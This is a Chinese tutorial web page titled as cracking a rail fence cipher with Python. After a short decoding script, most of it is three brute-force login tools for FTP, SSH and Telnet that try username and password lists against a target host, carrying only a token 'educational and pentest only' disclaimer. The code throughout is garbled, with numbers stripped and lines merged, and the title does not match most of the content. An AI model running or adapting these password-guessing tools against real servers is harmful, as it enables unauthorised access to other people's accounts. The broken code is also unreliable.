首頁 後端開發 Python教學 Python脚本暴力破解栅栏密码

Python脚本暴力破解栅栏密码

Jun 06, 2016 am 11:14 AM

今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本。

方法一(通用脚本):

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

#!/usr/bin/env python

 # -*- coding: gbk -*-

 # -*- coding: utf_ -*-

 e = raw_input(‘请输入要解密的字符串\n‘)

 elen = len(e)

 field=[]

 for i in range(,elen):

       if(elen%i==):

         field.append(i)

 for f in field:

   b = elen / f

   result = {x:‘‘ for x in range(b)}

   for i in range(elen):

     a = i % b;

     result.update({a:result[a] + e[i]})

   d = ‘‘

   for i in range(b):

     d = d + result[i]

   print ‘分为\t‘+str(f)+‘\t‘+‘栏时,解密结果为: ‘+d

登入後複製

方法二:

FTP暴力破解脚本

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

#!/usr/bin/env python

#-*-coding = utf--*-

#author:@xfk

#blog:@blog.sina.com.cn/kaiyongdeng

#date:@--

import sys, os, time

from ftplib import FTP

docs = """

      [*] This was written for educational purpose and pentest only. Use it at your own risk.

      [*] Author will be not responsible for any damage!

      [*] Toolname : ftp_bf.py

      [*] Coder :

      [*] Version : .

      [*] eample of use : python ftp_bf.py -t ftp.server.com -u usernames.txt -p passwords.txt

    """

if sys.platform == 'linux' or sys.platform == 'linux':

  clearing = 'clear'

else:

  clearing = 'cls'

os.system(clearing)

R = "\[m";

G = "\[m";

Y = "\[m"

END = "\[m"

def logo():

  print G+"\n |---------------------------------------------------------------|"

  print " | |"

  print " | blog.sina.com.cn/kaiyongdeng |"

  print " | // ftp_bf.py v.. |"

  print " | FTP Brute Forcing Tool |"

  print " | |"

  print " |---------------------------------------------------------------|\n"

  print " \n [-] %s\n" % time.strftime("%X")

  print docs+END

def help():

  print R+"[*]-t, --target ip/hostname <> Our target"

  print "[*]-u, --usernamelist usernamelist <> usernamelist path"

  print "[*]-p, --passwordlist passwordlist <> passwordlist path"

  print "[*]-h, --help help <> print this help"

  print "[*]Example : python ftp_bf -t ftp.server.com -u username.txt -p passwords.txt"+END sys.exit()

def bf_login(hostname,username,password):

  # sys.stdout.write("\r[!]Checking : %s " % (p))

  # sys.stdout.flush()

  try:

    ftp = FTP(hostname)

    ftp.login(hostname,username, password)

    ftp.retrlines('list')

    ftp.quit()

    print Y+"\n[!] wt,wt!!! We did it ! "

    print "[+] Target : ",hostname, ""

    print "[+] User : ",username, ""

    print "[+] Password : ",password, ""+END

    return

  # sys.exit()

  except Exception, e:

    pass except KeyboardInterrupt: print R+"\n[-] Exiting ...\n"+END

  sys.exit()

def anon_login(hostname):

  try:

    print G+"\n[!] Checking for anonymous login.\n"+END

    ftp = FTP(hostname) ftp.login()

    ftp.retrlines('LIST')

    print Y+"\n[!] wt,wt!!! Anonymous login successfuly !\n"+END

    ftp.quit()

  except Exception, e:

    print R+"\n[-] Anonymous login failed...\n"+END

    pass

def main():

  logo()

  try:

    for arg in sys.argv:

      if arg.lower() == '-t' or arg.lower() == '--target':

        hostname = sys.argv[int(sys.argv[:].index(arg))+]

      elif arg.lower() == '-u' or arg.lower() == '--usernamelist':

        usernamelist = sys.argv[int(sys.argv[:].index(arg))+]

      elif arg.lower() == '-p' or arg.lower() == '--passwordlist':

        passwordlist = sys.argv[int(sys.argv[:].index(arg))+]

      elif arg.lower() == '-h' or arg.lower() == '--help':

        help()

      elif len(sys.argv) <= :

        help()

  except:

    print R+"[-]Cheak your parametars input\n"+END

    help()

  print G+"[!] BruteForcing target ..."+END

  anon_login(hostname)

  # print "here is ok"

  # print hostname

  try:

    usernames = open(usernamelist, "r")

    user = usernames.readlines()

    count =

    while count < len(user):

      user[count] = user[count].strip()

      count +=

  except:

    print R+"\n[-] Cheak your usernamelist path\n"+END

    sys.exit()

  # print "here is ok ",usernamelist,passwordlist

  try:

    passwords = open(passwordlist, "r")

    pwd = passwords.readlines()

    count =

    while count < len(pwd):

      pwd[count] = pwd[count].strip()

      count +=

  except:

    print R+"\n[-] Check your passwordlist path\n"+END

    sys.exit()

  print G+"\n[+] Loaded:",len(user),"usernames"

  print "\n[+] Loaded:",len(pwd),"passwords"

  print "[+] Target:",hostname

  print "[+] Guessing...\n"+END

  for u in user: for p in pwd:

    result = bf_login(hostname,u.replace("\n",""),p.replace("\n",""))

    if result != :

      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + R+"Disenable"+END

    else:

      print G+"[+]Attempt uaername:%s password:%s..." % (u,p) + Y+"Enable"+END

    if not result :

      print R+"\n[-]There is no username ans password enabled in the list."

      print "[-]Exiting...\n"+END

if __name__ == "__main__":

  main()

登入後複製

SSH暴力破解

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

#!/usr/bin/env python

#-*-coding = UTF--*-

#author@:dengyongkai

#blog@:blog.sina.com.cn/kaiyongdeng

import sys

import os

import time

#from threading import Thread

try:

  from paramiko import SSHClient

  from paramiko import AutoAddPolicy

except ImportError:

  print G+'''

  You need paramiko module.

http://www.lag.net/paramiko/

  Debian/Ubuntu: sudo apt-get install aptitude

     : sudo aptitude install python-paramiko\n'''+END

  sys.exit()

docs = """

      [*] This was written for educational purpose and pentest only. Use it at your own risk.

      [*] Author will be not responsible for any damage!                              

      [*] Toolname    : ssh_bf.py

      [*] Author     : xfk

      [*] Version     : v..

      [*] Example of use : python ssh_bf.py [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]

  """

if sys.platform == 'linux' or sys.platform == 'linux':

     clearing = 'clear'

else:

     clearing = 'cls'

os.system(clearing)

R = "\[m";

G = "\[m";

Y = "\[m"

END = "\[m"

def logo():

     print G+"\n        |---------------------------------------------------------------|"

     print "        |                                |"

     print "        |        blog.sina.com.cn/kaiyongdeng          |"

     print "        |        // ssh_bf.py v..           |"

     print "        |         SSH Brute Forcing Tool            |"

     print "        |                                |"

     print "        |---------------------------------------------------------------|\n"

     print " \n           [-] %s\n" % time.ctime()

     print docs+END

def help():

  print Y+"    [*]-H    --hostname/ip    <>the target hostname or ip address"

  print "   [*]-P    --port     <>the ssh service port(default is )"

  print "   [*]-U    --usernamelist   <>usernames list file"

  print "   [*]-P    --passwordlist   <>passwords list file"

  print "   [*]-H    --help     <>show help information"

  print "   [*]Usage:python %s [-T target] [-P port] [-U userslist] [-W wordlist] [-H help]"+END

  sys.exit()

def BruteForce(hostname,port,username,password):

    '''

    Create SSH connection to target

    '''

    ssh = SSHClient()

    ssh.set_missing_host_key_policy(AutoAddPolicy())

    try:

      ssh.connect(hostname, port, username, password, pkey=None, timeout = None, allow_agent=False, look_for_keys=False)

      status = 'ok'

      ssh.close()

    except Exception, e:

      status = 'error'

      pass

  return status

def makelist(file):

  '''

  Make usernames and passwords lists

  '''

  items = []

  try:

    fd = open(file, 'r')

  except IOError:

    print R+'unable to read file \'%s\'' % file+END

    pass

  except Exception, e:

    print R+'unknown error'+END

    pass

  for line in fd.readlines():

    item = line.replace('\n', '').replace('\r', '')

    items.append(item)

  fd.close()

  return items

def main():

    logo()

print "hello wold"

    try

        for arg in sys.argv:

            if arg.lower() == '-t' or arg.lower() == '--target':

                hostname = str(sys.argv[int(sys.argv[:].index(arg))+])

        if arg.lower() == '-p' or arg.lower() == '--port':

          port = sys.argv[int(sys.argv[:].index(arg))+]

            elif arg.lower() == '-u' or arg.lower() == '--userlist':

                userlist = sys.argv[int(sys.argv[:].index(arg))+]

            elif arg.lower() == '-w' or arg.lower() == '--wordlist':

                wordlist = sys.argv[int(sys.argv[:].index(arg))+]

            elif arg.lower() == '-h' or arg.lower() == '--help':

                help()

      elif len(sys.argv) <= :

                help()

    except:

        print R+"[-]Cheak your parametars input\n"+END

        help()

    print G+"\n[!] BruteForcing target ...\n"+END

#    print "here is ok"

#    print hostname,port,wordlist,userlist

    usernamelist = makelist(userlist)

    passwordlist = makelist(wordlist)

    print Y+"[*] SSH Brute Force Praparing."

    print "[*] %s user(s) loaded." % str(len(usernamelist))

    print "[*] %s password(s) loaded." % str(len(passwordlist))

    print "[*] Brute Force Is Starting......."+END

  try:

      for username in usernamelist:

        for password in passwordlist:

        print G+"\n[+]Attempt uaername:%s password:%s..." % (username,password)+END

            current = BruteForce(hostname, port, username, password)

              if current == 'error':

          print R+"[-]O*O The username:%s and password:%s Is Disenbabled...\n" % (username,password)+END

#                pass

              else:

                  print G+"\n[+] ^-^ HaHa,We Got It!!!"

                  print "[+] username: %s" % username

                  print "[+] password: %s\n" % password+END

#                  sys.exit()

  except:

    print R+"\n[-] There Is Something Wrong,Pleace Cheak It."

    print "[-] Exitting.....\n"+END

    raise

    print Y+"[+] Done.^-^\n"+END

    sys.exit()

if __name__ == "__main__":

  main()

登入後複製

TELNET密码暴力破解

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

#!usr/bin/python

#Telnet Brute Forcer

#http://www.darkcde.com

#dhydr[at]gmail[dot]com

import threading, time, random, sys, telnetlib

from copy import copy

if len(sys.argv) !=:

  print "Usage: ./telnetbrute.py <server> <userlist> <wordlist>"

  sys.exit()

try:

  users = open(sys.argv[], "r").readlines()

except(IOError):

  print "Error: Check your userlist path\n"

  sys.exit()

try:

  words = open(sys.argv[], "r").readlines()

except(IOError):

  print "Error: Check your wordlist path\n"

  sys.exit()

print "\n\t  dhydr[at]gmail[dot]com TelnetBruteForcer v."

print "\t--------------------------------------------------\n"

print "[+] Server:",sys.argv[]

print "[+] Users Loaded:",len(users)

print "[+] Words Loaded:",len(words),"\n"

wordlist = copy(words)

def reloader():

  for word in wordlist:

    words.append(word)

def getword():

  lock = threading.Lock()

  lock.acquire()

  if len(words) != :

    value = random.sample(words, )

    words.remove(value[])

  else:

    print "\nReloading Wordlist - Changing User\n"

    reloader()

    value = random.sample(words, )

    users.remove(users[])

  lock.release()

  if len(users) ==:

    return value[][:-], users[]

  else:

    return value[][:-], users[][:-]

class Worker(threading.Thread):

  def run(self):

    value, user = getword()

    try:

      print "-"*

      print "User:",user,"Password:",value

      tn = telnetlib.Telnet(sys.argv[])

      tn.read_until("login: ")

      tn.write(user + "\n")

      if password:

          tn.read_until("Password: ")

          tn.write(value + "\n")

      tn.write("ls\n")

      tn.write("exit\n")

      print tn.read_all()

      print "\t\nLogin successful:",value, user

      tn.close()

      work.join()

      sys.exit()

    except:

      pass

for I in range(len(words)*len(users)):

  work = Worker()

  work.start()

  time.sleep()

登入後複製

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱門文章

倉庫:如何復興隊友
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
1 週前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒險:如何獲得巨型種子
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱門文章

倉庫:如何復興隊友
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
1 週前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒險:如何獲得巨型種子
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱門文章標籤

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

我如何使用美麗的湯來解析HTML? 我如何使用美麗的湯來解析HTML? Mar 10, 2025 pm 06:54 PM

我如何使用美麗的湯來解析HTML?

python中的圖像過濾 python中的圖像過濾 Mar 03, 2025 am 09:44 AM

python中的圖像過濾

如何使用Python查找文本文件的ZIPF分佈 如何使用Python查找文本文件的ZIPF分佈 Mar 05, 2025 am 09:58 AM

如何使用Python查找文本文件的ZIPF分佈

如何使用Python使用PDF文檔 如何使用Python使用PDF文檔 Mar 02, 2025 am 09:54 AM

如何使用Python使用PDF文檔

如何在django應用程序中使用redis緩存 如何在django應用程序中使用redis緩存 Mar 02, 2025 am 10:10 AM

如何在django應用程序中使用redis緩存

如何使用TensorFlow或Pytorch進行深度學習? 如何使用TensorFlow或Pytorch進行深度學習? Mar 10, 2025 pm 06:52 PM

如何使用TensorFlow或Pytorch進行深度學習?

如何在Python中實現自己的數據結構 如何在Python中實現自己的數據結構 Mar 03, 2025 am 09:28 AM

如何在Python中實現自己的數據結構

python對象的序列化和避難所化:第1部分 python對象的序列化和避難所化:第1部分 Mar 08, 2025 am 09:39 AM

python對象的序列化和避難所化:第1部分

See all articles